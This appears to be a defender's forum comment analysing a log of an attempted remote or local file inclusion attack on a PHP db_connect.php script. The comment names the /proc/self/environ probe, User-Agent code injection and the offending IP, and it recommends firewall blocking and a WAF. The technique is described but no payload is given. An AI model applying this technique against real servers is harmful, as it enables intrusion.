typically for "db_connect.php", it serves to connect directly to the database, this log suggest that an issue whereby .../includes/db_connect.php not properly sanitizing user input supplied to the 'baseDir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands (e.g. all the \\x mulitples) which will be executed by the vulnerable script. It looks like trying to exploit a local file inclusion vulnerability.

It is trying to see if proc/self/environ is accessible and if so, it will inject the malicious codes. It would be inject code in User-Agent HTTP Header but it seems like the log shows it has HTTP response 501 which means the server does not support the facility required. Hence deny "entry" to this exploitation by 200.234.200.150. This source is from Brazil (probably a bot since there is 25 host to this IP address) and there is included as one of the blacklist , see this @ http://www.robtex.com/ip/200.234.200.150.html

have the 200.234.200.150 blocked in the firewall rule, rightfully those path should not be even be exposed for public access....have a WAF in front to detect such attempts
